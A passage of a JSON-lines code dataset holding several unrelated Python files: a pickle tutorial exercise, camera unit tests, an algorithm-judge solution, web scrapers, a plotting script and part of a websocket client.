open('man_data.txt', 'wb') as man_file:\n\t\tpickle.dump(man, man_file)\n\twith open('other_data.txt', 'wb') as other_file:\n\t\tpickle.dump(other, other_file)\nexcept IOError as err:\n\tprint('File error: ' + str(err))\nexcept pickle.PickleError as perr:\n\tprint('Pickling error: ' + str(perr))\n\nnew_man = []\nnew_other = []\n\ntry:\n\twith open('man_data.txt', 'rb') as man_file:\n\t\tnew_man = pickle.load(man_file)\n\twith open('other_data.txt', 'rb') as other_file:\n\t\tnew_other = pickle.load(other_file)\nexcept IOError as err:\n\tprint('File error: ' + str(err))\nexcept pickle.PickleError as perr:\n\tprint('Pickling error: ' + str(perr))\n\n#print_lol(new_man)\n#print_lol(new_other)\n\n# pickle really shines when you load some previously pickled data into another program.\n# And, of course, there's nothing to stop you from using pickle with nester.\n# After all, each module is designed to serve different purposes.\n\n","repo_name":"flyingbest/head-first-python","sub_path":"04-files/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12616117969","text":"class Punkt:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __str__(self):\n return f\"POINT ({self.x} {self.y})\"\n\n\n# -------------------------------------\n\na = Punkt(2,3)\nprint(a) # <__main__.Punkt object at 0x000002851A29D190>\n\nb = Punkt(4,5)\nprint(b)\n\nprint(str(b))\n","repo_name":"FHNW-Geomatik-PR2-HS2021/Programmierung2","sub_path":"Kapitel_04/punkt2.py","file_name":"punkt2.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"16997797040","text":"import unittest\nimport time\nimport os\nimport getpass # Get username like whoami\n\n\nfrom modules.video import Video\n\n\"\"\"\n Video module unit tests\n\"\"\"\n\n\nclass TestVideoModule(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n username = getpass.getuser()\n self.test_path = \"/home/\" + username\n\n ##############################################################################################\n\n def setUp(self):\n self.camera_video = Video(file_path=self.test_path)\n\n ##############################################################################################\n\n def tearDown(self):\n self.camera_video.close()\n\n ##############################################################################################\n\n def test1_get_file_name(self):\n # Calculates the current date and time\n year = time.strftime(\"%Y\")\n month = time.strftime(\"%m\")\n day = time.strftime(\"%d\")\n\n hour = time.strftime(\"%H\")\n minute = time.strftime(\"%M\")\n second = time.strftime(\"%S\")\n\n # Template name\n file_name = \"VID_{}{}{}_{}{}{}.h264\".format(year, month, day, hour, minute, second)\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertEqual(file_name, self.camera_video.get_file_name())\n\n ##############################################################################################\n\n def test2_get_file_path(self):\n # Get default file path\n current_file_path = self.camera_video.file_path\n\n # Change file path\n new_file_path = \"/home/user\"\n self.camera_video.file_path = new_file_path\n modified_file_path = self.camera_video.file_path\n self.camera_video.close()\n\n # Add a new Video object\n path = \"/home/random\"\n self.camera_video = Video(path)\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertEqual(current_file_path, self.test_path)\n self.assertEqual(new_file_path, modified_file_path)\n self.assertEqual(path, self.camera_video.file_path)\n\n ##############################################################################################\n\n def test3_set_resolution(self):\n # Change resolution values\n current_default_resolution = self.camera_video.resolution\n current_default_resolution_value = self.camera_video.camera.resolution\n current_default_framerate = self.camera_video.camera.framerate\n\n self.camera_video.set_resolution(\"MEDIUM\")\n current_medium_resolution = self.camera_video.resolution\n current_medium_resolution_value = self.camera_video.camera.resolution\n current_medium_framerate = self.camera_video.camera.framerate\n\n self.camera_video.set_resolution(\"LOW\")\n current_low_resolution = self.camera_video.resolution\n current_low_resolution_value = self.camera_video.camera.resolution\n current_low_framerate = self.camera_video.camera.framerate\n\n self.camera_video.set_resolution(\"adasdadasdas\")\n current_error_resolution = self.camera_video.resolution\n current_error_resolution_value = self.camera_video.camera.resolution\n current_error_framerate = self.camera_video.camera.framerate\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertEqual(current_default_resolution, \"HIGH\")\n self.assertEqual(current_default_resolution_value, (1920, 1080))\n self.assertEqual(current_default_framerate, 30)\n\n self.assertEqual(current_medium_resolution, \"MEDIUM\")\n self.assertEqual(current_medium_resolution_value, (1280, 720))\n self.assertEqual(current_medium_framerate, 40)\n\n self.assertEqual(current_low_resolution, \"LOW\")\n self.assertEqual(current_low_resolution_value, (640, 480))\n self.assertEqual(current_low_framerate, 60)\n\n self.assertEqual(current_error_resolution, \"LOW\") # if it is a wrong resolution, value will not\n self.assertEqual(current_error_resolution_value, (640, 480)) # change, so it takes the last one.\n self.assertEqual(current_error_framerate, 60)\n\n ##############################################################################################\n\n def test4_set_rotate(self):\n current_degrees = self.camera_video.camera.rotation\n\n # Change degrees\n self.camera_video.rotate(90)\n state_1 = self.camera_video.camera.rotation\n\n # Change to not %90 == 0 value\n self.camera_video.rotate(120)\n state_2 = self.camera_video.camera.rotation\n\n # Change degrees\n self.camera_video.rotate(180)\n state_3 = self.camera_video.camera.rotation\n\n # Test with a value higher than 360\n self.camera_video.rotate(500)\n state_4 = self.camera_video.camera.rotation\n self.camera_video.rotate(900)\n state_5 = self.camera_video.camera.rotation\n\n # Change degrees\n self.camera_video.rotate(270)\n state_6 = self.camera_video.camera.rotation\n\n # Test with a negative value\n self.camera_video.rotate(-30)\n state_7 = self.camera_video.camera.rotation\n self.camera_video.rotate(-90)\n state_8 = self.camera_video.camera.rotation\n self.camera_video.rotate(-270)\n state_9 = self.camera_video.camera.rotation\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertEqual(current_degrees, 0)\n self.assertEqual(state_1, 90)\n self.assertEqual(state_2, 90)\n self.assertEqual(state_3, 180)\n self.assertEqual(state_4, 180)\n self.assertEqual(state_5, 180)\n self.assertEqual(state_6, 270)\n self.assertEqual(state_7, 270)\n self.assertEqual(state_8, 270)\n self.assertEqual(state_9, 90)\n\n ##############################################################################################\n\n def test5_set_vflip(self):\n default_value = self.camera_video.vflip\n\n # Change values\n self.camera_video.set_vflip(True)\n activated_value = self.camera_video.vflip\n\n self.camera_video.set_vflip(False)\n deactivated_value = self.camera_video.vflip\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertFalse(default_value)\n self.assertTrue(activated_value)\n self.assertFalse(deactivated_value)\n\n ##############################################################################################\n\n def test6_set_hflip(self):\n default_value = self.camera_video.hflip\n\n # Change values\n self.camera_video.set_hflip(True)\n activated_value = self.camera_video.hflip\n\n self.camera_video.set_hflip(False)\n deactivated_value = self.camera_video.hflip\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertFalse(default_value)\n self.assertTrue(activated_value)\n self.assertFalse(deactivated_value)\n\n ##############################################################################################\n\n def test7_record_video(self):\n # Record a video with 5 seconds duration\n start_time_1 = time.time()\n video_1 = self.camera_video.record_video(5)\n elapsed_time_1 = time.time() - start_time_1\n\n # Record another video with 10 seconds duration\n start_time_2 = time.time()\n video_2 = self.camera_video.record_video(10)\n elapsed_time_2 = time.time() - start_time_2\n\n # Check if the video exist in the destination directory\n exist_video_1 = os.path.isfile(video_1)\n exist_video_2 = os.path.isfile(video_2)\n\n # Delete test videos\n os.remove(video_1)\n os.remove(video_2)\n\n # Check if the images exist in the destination directory\n exist_video1_after_deleting = os.path.isfile(video_1)\n exist_video2_after_deleting = os.path.isfile(video_2)\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertGreater(elapsed_time_1, 5)\n self.assertGreater(elapsed_time_2, 10)\n self.assertTrue(exist_video_1)\n self.assertTrue(exist_video_2)\n self.assertFalse(exist_video1_after_deleting)\n self.assertFalse(exist_video2_after_deleting)\n\n ##############################################################################################\n\n def test8_convert_video_to_mp4(self):\n # Record a video\n video_h264 = self.camera_video.record_video(5, convert_video_to_mp4=False)\n\n # Convert video to mp4\n exist_video_1 = os.path.isfile(video_h264)\n converted_video = self.camera_video.convert_video_to_mp4(video_h264)\n exist_video_1_after_conversioning = os.path.isfile(video_h264)\n\n # Delete converted video\n os.remove(converted_video)\n\n # Check if the images exist in the destination directory\n exist_converted_video = os.path.isfile(converted_video)\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertTrue(exist_video_1)\n self.assertFalse(exist_video_1_after_conversioning)\n self.assertTrue(video_h264.endswith('.h264'))\n self.assertTrue(converted_video.endswith('.mp4'))\n self.assertFalse(exist_converted_video)\n\n ##############################################################################################\n\n def test9_delete_video(self):\n # Record a video\n video_h264 = self.camera_video.record_video(5, convert_video_to_mp4=False)\n\n # Check if video exist\n exist_video = os.path.isfile(video_h264)\n\n # Delete video\n self.camera_video.delete_video(video_h264)\n\n # Check if it exists now\n exist_video_after_deleting = os.path.isfile(video_h264)\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertTrue(exist_video)\n self.assertFalse(exist_video_after_deleting)\n\n ##############################################################################################\n\n def test10_camera_close(self):\n # Save open status\n camera_state_1 = self.camera_video.camera.closed\n\n # Close camera\n self.camera_video.close()\n camera_state_2 = self.camera_video.camera.closed\n\n # ----------------------------------------------------------------------------------------#\n # CHECKS #\n # ----------------------------------------------------------------------------------------#\n\n self.assertFalse(camera_state_1)\n self.assertTrue(camera_state_2)\n\n##############################################################################################\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jmv74211/TFM_security_system_PI","sub_path":"test/unit/test_video.py","file_name":"test_video.py","file_ext":"py","file_size_in_byte":12934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"462697963","text":"A = {2: 56, 1: 2, 5: 12, 4: 24, 6: 18, 3: 323}\n\n# def most(root):\n# if root:\n# if root.val in A:\n# A[root.val]+=1\n# else:\n# A[root.val] = 1\n# most(root.left)\n# most(root.right)\n#\n# root = [1,0,2,2]\n# most(root)\nA=sorted(A.items(),key= lambda x:x[1],reverse=True)\nprint(A)\nB = []\na= -3333\nfor i,j in A:\n if j>=a:\n B.append(j)\n a = j\n else:\n break\nprint(B)\n","repo_name":"Abhichowhan123/coding","sub_path":"Leet Code/Find Mode in Binary Search Tree.py","file_name":"Find Mode in Binary Search Tree.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40067608262","text":"# https://www.acmicpc.net/problem/1981 문제 제목 : 배열에서 이동 , 언어 : Python, 날짜 : 2020-02-13, 결과 : 실패\n# 맞왜틀..\n\nimport sys\nfrom collections import deque\n\nN = int(sys.stdin.readline())\nlist_map = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\nlist_visit = [[0]*N for _ in range(N)] # 방문을 체크하는 동시에 방문을 했다면 [최소, 최대, 차]값을 저장하는 2차원 리스트입니다.\n\nlist_queue = deque([[0,0,list_map[0][0],list_map[0][0],207]]) # [x좌표, y좌표, 현재 최소값, 현재 최대값, 차]를 저장하고 BFS에 이용하는 큐입니다.\nlist_visit[0][0] = [list_map[0][0],list_map[0][0],201] # 방문을 체크할때 옆과같이 [최소, 최대, 차]값을 저장해 둡니다. 200이 문제에서 나올수있는 차의 최댓값이기 때문에 그보다 큰 201로 초기화.\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\n\nwhile list_queue:\n now_x, now_y, now_min, now_max, now = list_queue.popleft()\n print(\"=============\")\n [print(a) for a in list_visit]\n for i in range(4):\n nx = now_x + dx[i]\n ny = now_y + dy[i]\n if 0 <= nx < N and 0 <= ny < N: # 리스트의 범위를 벗어 나지 않는다면\n nmin = min(now_min, list_map[ny][nx]) # 현재 최소값\n nmax = max(now_max, list_map[ny][nx]) # 현재 최대값\n if not list_visit[ny][nx]: # 이동하려는 칸이 방문한적이 없었다면\n list_visit[ny][nx] = [nmin, nmax, nmax-nmin] # 방문체크\n list_queue.append([nx, ny, nmin, nmax, nmax-nmin]) # 큐에 값을 넣어줌\n elif list_visit[ny][nx][2] > nmax - nmin: # 방문을 했었지만, 차의값을 줄일수있는 경로라면\n list_visit[ny][nx] = [nmin, nmax, nmax-nmin] # 방문체크된 값을 새롭게 저장\n list_queue.append([nx, ny, nmin, nmax, nmax-nmin]) # 큐에 값을 넣어줌\nprint(list_visit[N-1][N-1][2])\n\n\n\n\n\n#####################################################################################################################\n# https://www.acmicpc.net/problem/1981 문제 제목 : 배열에서 이동 , 언어 : Python, 날짜 : 2020-03-25, 결과 : 성공\n\"\"\"\n 회고:\n 아마 이 문제를 구글에 검색해보면 아래 코드와 유사한 정답코드가 있을것이다. 나 역시 그분의 코드를 참고해서 작성했다.(거의 복사수준)\n 내가 처음 실수했던 부분은 이 문제에서 이분탐색을 진행할때 이분탐색이라고 생각했던 코드가 이분탐색이 아니였다.\n 처음 mid값은 (최고 + 최저)/2 의 몫이였지만 그다음 진행할때는 그렇지 않았다. \n 그리고 이 부분말고도 결정적인 실수는 right 값을 점점 늘려보며 bfs를 진행할때 먼저 나온답이 무조건 정답이라고 생각했던 부분이다.\n 내가 생각한 반례는 아래와 같은데 아래 케이스는 8과 9만 거쳐서 (N-1,N-1)에 도달할수있지만\n 내가 맨처음 생각한 방법에 의하면 right값을 1씩 늘려주며 탐색을 하므로 right값이 8이되면 더이상 늘어나지 않아\n 9인 지점에 방문조차 할수없는 상황이 생긴다.\n\n P.S. 회고작성의 장점은 내가 틀린부분에 대해 생각할 기회를 준다는 점인것 같다.\n \n 4\n 8 8 8 8\n 0 8 0 0\n 8 9 8 8\n 8 8 8 8\n ans : 1\n\"\"\"\n\nimport sys\nfrom collections import deque\n\ndef bfs(diff):\n list_visit = [[-1]*N for _ in range(N)]\n for k in list_num:\n list_queue = deque()\n if k <= list_map[0][0] <= k + diff:\n list_queue.append([0,0])\n while list_queue:\n now_x, now_y = list_queue.popleft()\n for i in range(4):\n nx = now_x + dx[i]\n ny = now_y + dy[i]\n if 0<=nx max_value:\n max_value = list_map[y][x]\n if list_map[y][x] < min_value:\n min_value = list_map[y][x]\n list_num.add(list_map[y][x])\n\nmid_value = (max_value + min_value)//2\nlist_num = sorted(list(list_num))\nlen_num = len(list_num)\nprint(solve())\n\n\n\"\"\"\n4\n8 8 8 8\n0 8 0 0\n8 9 8 8\n8 8 8 8\n\n5\n7 1 7 7 7\n7 1 7 7 7\n7 7 7 7 7\n7 7 7 7 7\n7 7 7 7 7\n\n\n2\n2 1\n2 3\n5\n7 7 3 6 8\n1 7 2 5 5\n4 7 7 7 3\n8 0 2 7 4\n4 3 0 7 7\n2\n2 1\n2 3\n4\n1 1 1 1\n1 1 1 1\n1 1 1 1\n1 1 1 1\n5\n4 3 3 5 5\n3 9 9 9 9\n3 9 2 2 3\n4 9 1 9 2\n5 4 3 9 0\n\n5\n0 0 0 0 0\n0 0 0 0 0\n0 0 0 0 0\n0 0 0 0 10\n0 0 0 10 200\n\n7\n1 1 1 7 1 1 1\n1 5 1 6 1 1 1\n1 5 1 5 1 4 1\n1 5 1 4 1 5 1\n1 5 1 3 1 6 1\n1 5 1 2 1 8 1\n1 5 1 0 1 9 1\n\n8\n1 1 1 3 1 1 1 2\n3 3 1 3 1 2 1 2\n1 1 1 1 1 2 1 2\n3 3 3 3 3 3 1 2\n1 1 1 3 3 2 1 2\n1 2 1 1 1 1 1 2\n1 3 3 3 3 2 2 2\n1 1 1 1 1 1 1 1\n\n8\n0 1 2 3 4 5 6 7\n1 1 2 3 4 5 6 7\n2 2 2 3 4 5 6 7\n3 3 3 3 4 5 6 7\n4 4 4 4 4 5 6 7\n5 5 5 5 5 5 6 7\n6 6 6 6 6 6 6 7\n7 7 7 7 7 7 7 7\n\"\"\"\n\n \n","repo_name":"SpicyKong/problems","sub_path":"BOJ/Q_1981.py","file_name":"Q_1981.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"72963538783","text":"import jsonlines\r\n\r\n\r\ndef clear_wen(text):\r\n import jieba\r\n\r\n # 定义一个包含\"问\"字符的字符串\r\n # text = \"我想问一下,这个问题该怎么解决呢?\"\r\n\r\n # 使用jieba分词器对字符串进行分词\r\n words = jieba.lcut(text)\r\n\r\n # 遍历分词结果,找到包含\"问\"字符的分词\r\n for i, word in enumerate(words):\r\n if \"问\" == word:\r\n return 1\r\n else:\r\n return 0\r\n\r\ndef get_year(all_text):\r\n from t import get_years\r\n import re\r\n\r\n\r\n match = re.search(r\"\\d{4}年\\d{1,2}月\\d{1,2}日\", all_text)\r\n if match is None:\r\n years = None\r\n else:\r\n years = get_years(match.group())\r\n print(years, '-----')\r\n return years\r\ndef main():\r\n import re\r\n\r\n import os\r\n from bs4 import BeautifulSoup\r\n\r\n # 指定路径\r\n path = \"test/\" # 目标文件夹路径\r\n\r\n all_result = []\r\n nums = 0\r\n numnum = 0\r\n numnumnumnum = 0\r\n # 循环遍历指定路径下的所有文件\r\n for filename in os.listdir(path):\r\n print('进度为->', nums * 100 / 1700, '%')\r\n nums += 1\r\n if filename.endswith('.html'):\r\n # 打开HTML文件并读取其中的内容\r\n with open(os.path.join(path, filename), 'r', encoding='utf-8') as f:\r\n index = 0\r\n result = []\r\n html_content = f.read()\r\n # 提取中文和标点符号\r\n pattern = re.compile('[\\u4e00-\\u9fa50-9,。?!、\\n]+')\r\n # pattern = re.compile('[\\u4e00-\\u9fa5a-zA-Z0-9,。?!、]+')\r\n matches = pattern.findall(html_content)\r\n # print(matches)\r\n all_text = ''.join(matches)\r\n years=get_year(all_text)\r\n result.append(years)\r\n\r\n # questions = re.findall(r'\\d+问([\\u4e00-\\u9fff]+)[?]', all_text)\r\n dasta = re.split('社记者', all_text)\r\n if len(dasta) < 3:\r\n continue\r\n else:\r\n numnumnumnum+=1\r\n print('----',filename)\r\n datas = re.split('14问', all_text)\r\n datas_index = 0\r\n for index_data in range(len(datas)):\r\n\r\n if datas_index == 0:\r\n datas_index += 1\r\n continue\r\n elif datas_index == len(datas) - 1:\r\n continue\r\n else:\r\n # print(datas[index_data])\r\n inputdata = datas[datas_index].split('?\\n14')\r\n if len(inputdata) >= 2:\r\n all_result.append([inputdata[0], inputdata[1],years])\r\n numnum += 1\r\n datas_index += 1\r\n # print(all_d)\r\n print('numnum-->', numnum,numnumnumnum)\r\n return all_result\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef finall(data):\r\n file_list = [] # 存储文件名和内容的列表\r\n\r\n index = 10597\r\n output_path = \"./testsss.json\"\r\n for i in data:\r\n file_json = {\r\n \"id\": 0,\r\n \"问\": '',\r\n \"答\": '',\r\n \"来源\": \"外交部答记者问\",\r\n \"元数据\": {\r\n \"create_time\": \"\",\r\n \"回答明细\": \"\",\r\n \"问题明细\": \"\",\r\n \"扩展字段\": \"\"\r\n }\r\n }\r\n if len(i) != 3:\r\n continue\r\n file_json['id'] = index\r\n file_json['问'] = i[0].replace('141', '').replace('1414', '').replace('。1', '。').replace('?1', '?').replace('14',\r\n '').replace(\r\n '1267', '').replace('\\n', '')\r\n file_json['答'] = i[1].replace('141', '').replace('1414', '').replace('。1', '。').replace('?1', '?').replace('14',\r\n '').replace(\r\n '1267', '') .replace('\\n', '')\r\n file_json['元数据']['create_time']=i[2]\r\n\r\n with jsonlines.open(output_path, mode='a') as file:\r\n file.write(file_json)\r\n file_list.append(file_json)\r\n index += 1\r\n print(len(file_list))\r\n\r\n\r\nif __name__ == '__main__':\r\n # main()\r\n finall(main())\r\n # clear_wen('。问题')\r\n","repo_name":"UnstoppableCurry/QA_with_reporters_from_the_Ministry_of_Foreign_Affair_mnbvc","sub_path":"答记者问.py","file_name":"答记者问.py","file_ext":"py","file_size_in_byte":4542,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"29129352868","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport sys\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport warnings\nwarnings.filterwarnings('ignore') #hide the warnning when \"nan\" involves\nimport collections\nimport importlib\nimportlib.reload(sys)\n#ys.setdefaultencoding('utf-8')\n\nplt.style.use('ggplot')\n#plt.rc('text', usetex=True)\nplt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签\nplt.rcParams['axes.unicode_minus']=False #用来正常显示负号\nplt.rc('font', family='sans-serif')\nplt.rcParams['text.latex.preamble']=[r\"\\usepackage{amsmath}\"]\n\npath = \"data/\"\noutpath = \"out/\"\n\nclass BEMPlot:\n \n def __init__(self, filename, M, N):\n self.filename = filename\n self.lineList = []\n tmpMesh = []\n with open(path + self.filename + '-mesh.txt', 'r') as f:\n for line in f:\n if line.strip()==\"\":\n if len(tmpMesh)!=0:\n self.lineList.append(np.array(tmpMesh));\n tmpMesh = []\n else:\n index = line.strip().split(' ')\n tmpMesh.append([float(index[0]),float(index[1])])\n if len(tmpMesh)!=0:\n self.lineList.append(np.array(tmpMesh));\n #self.Vert = np.loadtxt(path + self.filename + '-mesh.txt',dtype = np.float64).reshape(-1,2)\n self.X = np.loadtxt(path + self.filename + '-x.txt',dtype = np.float64).reshape(N,M)\n self.Y = np.loadtxt(path + self.filename + '-y.txt',dtype = np.float64).reshape(N,M)\n z = np.loadtxt(path + self.filename + '-z.txt',dtype = np.float64).reshape(N,M,3)\n self.P = z[:,:,0]\n self.U = z[:,:,1]\n self.V = z[:,:,2]\n self.pmin = np.nanmin(self.P)\n self.pmax = np.nanmax(self.P)\n self.xmin = self.X[0,0]\n self.xmax = self.X[N-1,M-1]\n self.ymin = self.Y[0,0]\n self.ymax = self.Y[N-1,M-1]\n self.Norm = np.sqrt(self.U**2+self.V**2)\n self.default_camp =plt.cm.coolwarm;\n \n def _getLevelList(self, p,n):\n flatten = p.reshape(-1)\n values = flatten[~np.isnan(flatten)]\n ordered = np.sort(values)\n counter = collections.Counter(ordered);\n currentNum=0;\n gap = int(len(values)/n);\n ids = []\n ids.append(ordered.min())\n for key in counter:\n if currentNum>gap:\n ids.append(key)\n currentNum=0\n currentNum+=counter[key]\n if currentNum>gap:\n ids.append(ordered.max())\n #ids = values[(np.arange(n)*len(values)/n).astype(int)]\n #print(ids)\n #news_ids = np.unique(ids)\n return ids #news_ids\n \n def _addMesh(self, ax):\n for line in self.lineList:\n xx = np.r_[line[:,0]]\n yy = np.r_[line[:,1]]\n ax.plot(xx, yy, marker='o', color='b')\n \n ####### Batch Matplotlib Plot #######\n \n def allMatplotlibPlot(self, showWindow, saveFile, extension):\n self.batchMatplotlibPlot([\"field\",\"streamline\",\"quiver\",\"surface\"], showWindow, saveFile, extension)\n \n def batchMatplotlibPlot(self, arr, showWindow, saveFile, extension):\n if(not(os.path.exists(outpath))):\n os.mkdir(outpath)\n for item in arr:\n if item == \"field\":\n self.plotField();\n elif item == \"streamline\":\n self.plotStreamLine()\n elif item == \"quiver\":\n self.plotQuiver()\n elif item == \"surface\":\n self.plotSurface()\n #plt.ion()\n if saveFile:\n plt.savefig(outpath + self.filename + \"-\" + item + \".\" + extension, bbox_inches='tight')\n \n ####### Single Matplotlib Plot #######\n \n def plotField(self):\n fig, ax = plt.subplots()\n ax.set_aspect(1)\n #ax.set_title(u'势场等势图')\n self._addMesh(ax)\n extent=(self.xmin,self.xmax,self.ymin,self.ymax)\n im=plt.imshow(self.P,vmin=self.pmin,vmax=self.pmax,extent=extent,origin='lower',cmap=self.default_camp)\n levels = self._getLevelList(self.P,20)\n ax.contour(self.P, levels, colors='k',origin='lower',extent=extent,linewidths=0.5)\n divider = make_axes_locatable(ax)\n cax2=divider.append_axes(\"right\", \"10%\", pad=0.15)\n plt.colorbar(im, cax=cax2,format=\"%.2f\")\n \n def plotStreamLine(self):\n fig, ax = plt.subplots()\n ax.set_aspect(1)\n #ax.set_title(u'势场流线图')\n self._addMesh(ax)\n strm=ax.streamplot(self.X, self.Y, self.U, self.V, color=self.Norm)\n im=strm.lines\n divider = make_axes_locatable(ax)\n cax3=divider.append_axes(\"right\", \"10%\", pad=0.15)\n plt.colorbar(im, cax=cax3,format=\"%.2f\")\n \n def plotQuiver(self):\n fig, ax = plt.subplots()\n ax.set_aspect(1)\n ax.set_title(u'Quiver')\n self._addMesh(ax)\n ax.quiver(self.X, self.Y, self.U/self.Norm, self.V/self.Norm)\n make_axes_locatable(ax)\n \n def plotSurface(self):\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n #ax.set_title(u'势场三维图')\n #p_copy = p.copy()\n #p_copy[p_copy<99.9]=np.nan\n ax.plot_surface(self.X, self.Y, self.P, edgecolor='none', alpha=1, cstride=1, rstride=1, vmin=self.pmin, vmax=self.pmax,cmap=self.default_camp, linewidth=0, antialiased=False)\n ax.contour(self.X, self.Y, self.P, levels = self._getLevelList(self.P,10), colors='k', linewidths=0.5)\n\n\ndef main():\n if len(sys.argv)>3:\n bem_plot = BEMPlot(sys.argv[1],int(sys.argv[2]),int(sys.argv[3]))\n bem_plot.allMatplotlibPlot(True,True,\"pdf\")\n else:\n print(\"args not enough\")\n \nif __name__ == \"__main__\":\n main()\n ","repo_name":"Tang1001/Airsim_Drones_TT","sub_path":"New folder/plot/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37065557502","text":"import requests\nimport bs4\nfrom .models import City\n\ndef data2database():\n TripAdvisorMumbaiHotelURL = \"https://www.tripadvisor.in/Hotels-g304554-Mumbai_Maharashtra-Hotels.html\"\n\n # Add -oa30-(before mumbai) for next page\n\n data = {'Mumbai': {'Hotels': []}}\n\n\n def getText(rev, rat):\n o = {}\n o[\"Text\"] = rev.text\n o[\"Rating\"] = rat['class'][1][-2]\n return o\n\n\n res = requests.get(TripAdvisorMumbaiHotelURL)\n res.raise_for_status()\n soup = bs4.BeautifulSoup(res.text, 'lxml')\n reviewList = soup.find_all('a', class_='review_count')\n HotelNames = soup.find_all('a', class_='prominent')\n\n for i in range(0, len(HotelNames)):\n d = {'Name': HotelNames[i].text}\n data['Mumbai']['Hotels'].append(d)\n\n print(data['Mumbai']['Hotels'])\n for i in range(0, 25):#len(reviewList)):\n hotelUrl = reviewList[i]['href']\n print(hotelUrl)\n res1 = requests.get(\"https://www.tripadvisor.in\"+hotelUrl)\n res1.raise_for_status()\n newSoup = bs4.BeautifulSoup(res1.text, \"lxml\")\n maxPage = int(newSoup.find('div', class_=\"pageNumbers\").findAll(\n \"a\", recursive=\"false\")[-1].text)\n data['Mumbai']['Hotels'][i][\"Reviews\"] = []\n for page in range(0, 5):#maxPage):\n if(page == 0):\n pageNoURL = \"https://www.tripadvisor.in\"+hotelUrl\n else:\n index = hotelUrl.find(\n '-Reviews-')\n pageNoURL = \"https://www.tripadvisor.in\" + \\\n hotelUrl[:index]+'-or' + str(page*5) + hotelUrl[index:]\n reviewPage = requests.get(pageNoURL)\n res.raise_for_status()\n reviewSoup = bs4.BeautifulSoup(reviewPage.text, \"lxml\")\n if(page == 0):\n desc = reviewSoup.find(\"div\", class_=\"cPQsENeY\")\n data['Mumbai']['Hotels'][i]['Description'] = desc.text\n reviews = reviewSoup.find_all('q',\n class_='location-review-review-list-parts-ExpandableReview__reviewText--gOmRC')\n ratings = reviewSoup.find('div', {\"id\": \"component_12\"}).find_all(\n 'span', class_=\"ui_bubble_rating\")\n\n dic = list(map(getText, reviews, ratings))\n\n data['Mumbai']['Hotels'][i][\"Reviews\"].extend(dic)\n print(data)\n for city,i in data.items():\n c = City(name=city,hotels=i['Hotels'],places={})\n c.save()\n","repo_name":"rajat-07/smart_travel_agency","sub_path":"Tap/WebScrapping.py","file_name":"WebScrapping.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"21861386981","text":"from selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options as FirefoxOptions\nfrom bs4 import BeautifulSoup\nimport webbrowser\n\n\ndef parseForHref(html):\n html_soup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n return html_soup.find(id=\"dlbutton\")['href']\n\n\ndef getResourceLink(pageLink, resourceLink):\n link1 = pageLink.split('v/', 1)[0][:-1]\n return link1 + resourceLink\n\n\nfile = open(\"links.txt\", \"r\")\nlines = file.readlines()\noptions = FirefoxOptions()\noptions.add_argument(\"--headless\")\ndriver = webdriver.Firefox(options=options)\n\nfor line in lines:\n driver.get(line)\n ref = parseForHref(driver.execute_script(\n \"return document.body.innerHTML;\"))\n webbrowser.open(getResourceLink(line, ref))\n","repo_name":"marchewjapko/FilecryptDownloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21008328860","text":"from __future__ import annotations\n\nimport logging\nimport time\n\nfrom ..base import Command, CommandChannel\nfrom .connection import WsConnection\n\n_logger = logging.getLogger(__name__)\n\nclass WsChannelClient(CommandChannel):\n def __init__(self, url: str):\n self._url: str = url\n self._closing: bool = False\n self._conn: WsConnection | None = None\n\n def connect(self) -> None:\n _logger.debug(f'Connect to 